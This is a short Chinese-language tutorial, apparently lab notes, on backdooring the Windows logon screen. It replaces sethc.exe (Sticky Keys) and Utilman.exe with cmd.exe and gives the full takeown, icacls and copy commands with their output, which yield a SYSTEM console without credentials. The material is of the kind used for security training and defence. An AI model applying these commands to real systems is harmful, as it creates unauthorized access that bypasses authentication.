:::info
如果我们可以物理访问机器(在我们的例子中是 RDP),您可以在登录屏幕后门访问终端,而无需机器的有效凭据。:::
Sticky Keys
:::info
当我们按下 CTRL + ALT + DEL
时,Windows 将会配置为使用 Sticky Keys ,这样我们就可以分别按下三个按键来开启 Sticky Keys ,
:::
要使用粘滞键建立持久性,我们将滥用在任何 Windows 安装中默认启用的快捷方式,该快捷方式允许我们通过按
SHIFT
5 次来激活粘滞键。输入快捷方式后,我们通常会看到如下所示的屏幕:
按
SHIFT
5 次后,Windows 将执行C:\Windows\System32\sethc.exe
. 如果我们能够用我们偏好的有效载荷替换这样的二进制文件,我们就可以用快捷方式触发它。有趣的是,我们甚至可以在输入任何凭据之前从登录屏幕执行此操作对登录屏幕进行后门的一种直接方法是使用
cmd.exe
覆盖sethc.exe
这样,我们可以使用粘滞键快捷方式生成控制台,甚至可以从日志屏幕生成控制台。要覆盖
sethc.exe
,我们首先需要取得文件的所有权并授予我们当前用户修改它的权限。只有这样我们才能用cmd.exe. 我们可以使用以下命令来做到这一点:
C:\> takeown /f c:\Windows\System32\sethc.exe
SUCCESS: The file (or folder): "c:\Windows\System32\sethc.exe" now owned by user "PURECHAOS\Administrator".
C:\> icacls C:\Windows\System32\sethc.exe /grant Administrator:F
processed file: C:\Windows\System32\sethc.exe
Successfully processed 1 files; Failed processing 0 files
C:\> copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
Overwrite C:\Windows\System32\sethc.exe? (Yes/No/All): yes
1 file(s) copied.
然后锁定会话
连按
SHIFT
5次就可以访问 CMD 窗口
Utilman
Utilman 是一个内置的 Windows 应用程序,用于在锁定屏幕期间提供轻松访问选项:
当我们单击登录屏幕上的轻松访问按钮时,它会以 SYSTEM 权限执行
C:\Windows\System32\Utilman.exe
。如果我们用 的副本替换它cmd.exe
,我们就可以再次绕过登录屏幕。
C:\> takeown /f c:\Windows\System32\utilman.exe
SUCCESS: The file (or folder): "c:\Windows\System32\utilman.exe" now owned by user "PURECHAOS\Administrator".
C:\> icacls C:\Windows\System32\utilman.exe /grant Administrator:F
processed file: C:\Windows\System32\utilman.exe
Successfully processed 1 files; Failed processing 0 files
C:\> copy c:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
Overwrite C:\Windows\System32\utilman.exe? (Yes/No/All): yes
1 file(s) copied.
锁定当前会话,并点击按钮即可